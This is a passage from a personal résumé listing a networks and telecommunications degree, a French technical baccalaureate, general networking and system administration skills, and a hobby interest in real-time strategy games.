Bachelor of Technology in Networks & Telecommunications
2022 - 2025

Blaise Pascal High School, Colmar
Science and Industrial Technologies (STI2D) Baccalaureate
2019 - 2022

Skills

- CSNA Certification

- Design and configuration of IT networks including VLANs, routing, security, and network services.

- System administration, troubleshooting, and client workstation installation.

- Knowledge of Internet technologies and professional communication.

- Secure information system deployment for small businesses.

- Implementation of incident monitoring systems.

- Development of client-server applications for secure data exchange and storage.

- Experience with networking protocols (TCP, UDP, HTTP), event-driven programming, database management, GUI design (mobile/web), and technical documentation.

Hobbies

Passionate about video games, especially real-time strategy (RTS) games. I enjoy tackling complex challenges that require strategic thinking and resource management. These experiences sharpen my problem-solving abilities and decision-making under pressure, while also being a stimulating and rewarding form of entertainment.
